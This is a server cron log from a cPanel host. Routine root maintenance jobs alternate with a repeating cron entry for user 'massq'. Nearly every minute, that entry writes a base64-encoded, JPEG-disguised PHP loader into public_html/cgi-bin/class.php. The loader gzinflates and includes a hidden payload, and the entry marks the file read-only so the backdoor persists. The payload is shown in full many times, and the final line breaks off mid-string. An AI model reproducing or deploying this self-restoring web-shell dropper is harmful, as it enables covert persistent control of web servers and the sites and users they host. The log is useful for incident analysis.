Aug 30 12:05:01 server CROND[20314]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 30 12:05:01 server CROND[20316]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 12:05:01 server CROND[20319]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Aug 30 12:05:01 server CROND[20317]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Aug 30 12:05:01 server CROND[20321]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 12:05:01 server CROND[20322]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Aug 30 12:05:01 server CROND[20320]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 30 12:05:01 server CROND[20318]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 12:06:01 server CROND[21309]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 12:06:01 server CROND[21310]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 12:06:01 server CROND[21313]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 12:07:01 server CROND[21681]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 12:07:01 server CROND[21680]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 12:07:01 server CROND[21682]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 12:08:01 server CROND[22321]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 12:08:01 server CROND[22322]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 12:08:01 server CROND[22323]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 12:09:01 server CROND[23115]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 12:09:01 server CROND[23116]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Aug 30 12:09:01 server CROND[23117]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 12:09:01 server CROND[23118]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 12:10:01 server CROND[23519]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 12:10:01 server CROND[23521]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 30 12:10:01 server CROND[23525]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Aug 30 12:10:01 server CROND[23524]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 12:10:01 server CROND[23523]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Aug 30 12:10:01 server CROND[23527]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 12:10:01 server CROND[23522]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 30 12:10:01 server CROND[23526]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Aug 30 12:11:01 server CROND[24447]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 12:11:01 server CROND[24448]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 12:11:01 server CROND[24449]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 12:12:02 server CROND[24828]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Aug 30 12:12:02 server CROND[24827]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 12:12:02 server CROND[24829]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 12:12:02 server CROND[24830]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 12:13:01 server CROND[25212]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 12:13:01 server CROND[25211]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 12:13:01 server CROND[25213]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 12:14:01 server CROND[25634]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 12:14:01 server CROND[25635]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 12:14:01 server CROND[25636]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 12:15:01 server CROND[26065]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 12:15:01 server CROND[26066]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 30 12:15:01 server CROND[26069]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 12:15:01 server CROND[26074]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Aug 30 12:15:01 server CROND[26073]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Aug 30 12:15:01 server CROND[26071]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 12:15:01 server CROND[26075]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 30 12:15:01 server CROND[26072]: (root) CMD (/usr/local/cpanel/bin/dbindex >/dev/null 2>&1)
Aug 30 12:15:01 server CROND[26077]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Aug 30 12:15:01 server CROND[26076]: (root) CMD (/usr/local/cpanel/scripts/autorepair recoverymgmt >/dev/null 2>&1)
Aug 30 12:16:01 server CROND[27031]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 12:16:01 server CROND[27033]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 12:16:01 server CROND[27034]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0Nv